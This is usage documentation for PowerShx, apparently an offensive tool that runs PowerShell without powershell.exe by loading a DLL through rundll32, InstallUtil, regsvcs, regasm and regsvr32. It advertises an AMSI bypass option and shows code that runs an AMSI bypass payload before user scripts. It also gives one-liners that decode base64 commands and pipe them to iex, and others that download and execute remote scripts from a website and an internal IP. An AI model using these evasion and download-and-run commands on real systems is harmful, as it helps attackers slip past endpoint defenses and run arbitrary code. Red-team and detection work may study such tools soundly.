rundll32 PowerShx.dll,main -e                           <PS script to run>
rundll32 PowerShx.dll,main -f <path>                    Run the script passed as argument
rundll32 PowerShx.dll,main -f <path> -c <PS Cmdlet>     Load a script and run a PS cmdlet
rundll32 PowerShx.dll,main -w                           Start an interactive console in a new window
rundll32 PowerShx.dll,main -i                           Start an interactive console
rundll32 PowerShx.dll,main -s                           Attempt to bypass AMSI
rundll32 PowerShx.dll,main -v                           Print Execution Output to the console

1. 
    x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
    x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
2. 
    x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShx.dll
    x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShx.dll
3. 
    x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShx.dll
    x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShx.dll
4. 
    regsvr32 /s  /u PowerShx.dll -->Calls DllUnregisterServer
    regsvr32 /s PowerShx.dll --> Calls DllRegisterServer

PowerShx.exe -i                          Start an interactive console
PowerShx.exe -e                          <PS script to run>
PowerShx.exe -f <path>                   Run the script passed as argument
PowerShx.exe -f <path> -c <PS Cmdlet>    Load a script and run a PS cmdlet
PowerShx.exe -s                          Attempt to bypass AMSI.

private void Handle(Options options)
{
  // Pre-execution before user script
  _ps.Exe(Payloads.PayloadDict["amsi"]);
}

rundll32 PowerShx.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex

PowerShx.exe -e [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex

rundll32 PowerShx.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;

PowerShx.exe -e "IEX ((new-object net.webclient).downloadstring('http://192.168.100/payload-http'))"